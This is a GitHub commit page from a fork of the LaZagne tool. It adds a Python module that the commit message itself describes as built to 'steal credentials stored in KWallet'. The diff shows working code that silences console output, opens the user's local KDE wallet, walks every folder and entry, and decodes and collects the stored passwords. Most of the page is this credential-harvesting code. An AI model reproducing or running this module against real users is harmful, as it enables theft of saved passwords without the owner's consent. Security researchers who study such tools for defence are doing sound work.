forked from AlessandroZ/LaZagne
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
1- kde module implemented to steal credentials stored in KWallet
2- Print the error when an error occurs in the Gnome Keyring module
- Loading branch information
1 parent
c76c305
commit 6a02a85
Showing
3 changed files
with
53 additions
and
13 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,11 +1,50 @@ | ||
|
||
# https://github.com/gaganpreet/kwallet-dump/tree/master/src | ||
# check avec variable d'env | ||
# GNOME_KEYRING_CONTROL => vide ou non | ||
|
||
import os, sys | ||
from config.header import Header | ||
from config.write_output import print_debug, print_output | ||
from config.moduleInfo import ModuleInfo | ||
|
||
class KDE(): | ||
class kde(ModuleInfo): | ||
def __init__(self): | ||
options = {'command': '-k', 'action': 'store_true', 'dest': 'kwallet', 'help': 'KWallet'} | ||
ModuleInfo.__init__(self, 'kwallet', 'wallet', options) | ||
|
||
def kwallet(self): | ||
Header().title_debug("Kwallet") | ||
def run(self): | ||
Header().title_debug("KWallet") | ||
|
||
if os.getuid() == 0: | ||
print_debug('INFO', 'Do not run with root privileges)\n') | ||
return | ||
try: | ||
from PyKDE4.kdeui import KWallet | ||
from PyQt4.QtGui import QApplication | ||
pwdFound = [] | ||
app = QApplication([]) | ||
app.setApplicationName("KWallet") | ||
#Get the local wallet | ||
f = open(os.devnull, 'w') | ||
stdoutBackup = sys.stdout | ||
stderrBackup = sys.stderr | ||
sys.stdout = f | ||
sys.stderr = f | ||
wallet = KWallet.Wallet.openWallet(KWallet.Wallet.LocalWallet(), 0) | ||
#sys.stdout = stdoutBackup | ||
#sys.stderr = stderrBackup | ||
#Walk accros folders defined in the KWallet | ||
for folder in wallet.folderList(): | ||
wallet.setFolder(folder) | ||
entries = dict() | ||
#Get entries for this folder | ||
for entry in wallet.entryList(): | ||
values = {} | ||
entries[entry] = wallet.readEntry( entry ) | ||
values["Folder"] = folder | ||
values["Entry"] = entry | ||
values["Password"] = (entries[entry][1].toHex().data()).decode('hex').decode('utf-8')[5:] | ||
if len(values) != 0: | ||
pwdFound.append(values) | ||
# print the results | ||
print_output('Gnome keyring', pwdFound) | ||
except Exception,e: | ||
print_debug('ERROR', 'An error occurs with KWallet: {0}'.format(e)) | ||
|
||
#By Quentin HARDY |